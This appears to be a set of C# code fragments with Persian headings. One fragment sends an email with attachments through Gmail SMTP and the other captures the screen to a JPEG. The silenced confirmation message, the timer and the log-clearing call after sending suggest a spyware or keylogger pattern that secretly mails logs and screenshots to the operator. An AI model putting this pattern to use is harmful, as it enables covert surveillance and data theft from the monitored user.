ارسال ایمیل
که mail_att2 حاوی ضمیمه عکس هست
Attachment mail_att = new Attachment(this.textBox6 .Text);
Attachment mail_att2 = new Attachment(this.textBox7.Text);
SmtpClient smtpServer = new SmtpClient();
MailMessage mail = new MailMessage();
smtpServer .Credentials =new System.Net .NetworkCredential (textBox2 .Text +"@gmail.com",textBox3 .Text );
smtpServer.Port = 587;
smtpServer.Host = "smtp.gmail.com";
smtpServer.EnableSsl = true;
mail.From=new MailAddress (textBox2 .Text + "@gmail.com");
mail.To.Add (textBox1.Text );
mail.Subject =textBox4.Text ;
mail.Body =textBox5.Text ;
mail.Attachments.Add(mail_att);
mail.Attachments.Add(mail_att2);
try
{
smtpServer.Send(mail);
//MessageBox.Show("پیام شما به ایمیل مورد نظر ارسال شد", "تحویل داده شد", MessageBoxButtons.OK);
analyzer.ClearLogFile();
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
گرفتن عکس
CaptureScreen();
filename = "image";
filename = filename.Replace('/', '.');
filename = filename.Replace(':', '.');
filename += ".Jpeg";
ImageCodecInfo myImageCodecInfo;
System.Drawing.Imaging.Encoder myEncoder;
EncoderParameter myEncoderParameter;
EncoderParameters myEncoderParameters;
myImageCodecInfo = GetEncoderInfo("image/jpeg");
myEncoder = System.Drawing.Imaging.Encoder.Quality;
myEncoderParameters = new EncoderParameters(1);
myEncoderParameter = new EncoderParameter(myEncoder, 50L);
myEncoderParameters.Param[0] = myEncoderParameter;
bmp.Save(Application.StartupPath + "\\" + filename, myImageCodecInfo, myEncoderParameters);
tmrpic.Enabled = false;
private static Bitmap bmp;
private static Size s;
public static string filename;
private static void CaptureScreen()
{
s = Screen.PrimaryScreen.Bounds.Size;
bmp = new Bitmap(s.Width, s.Height);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(0, 0, 0, 0, s);
}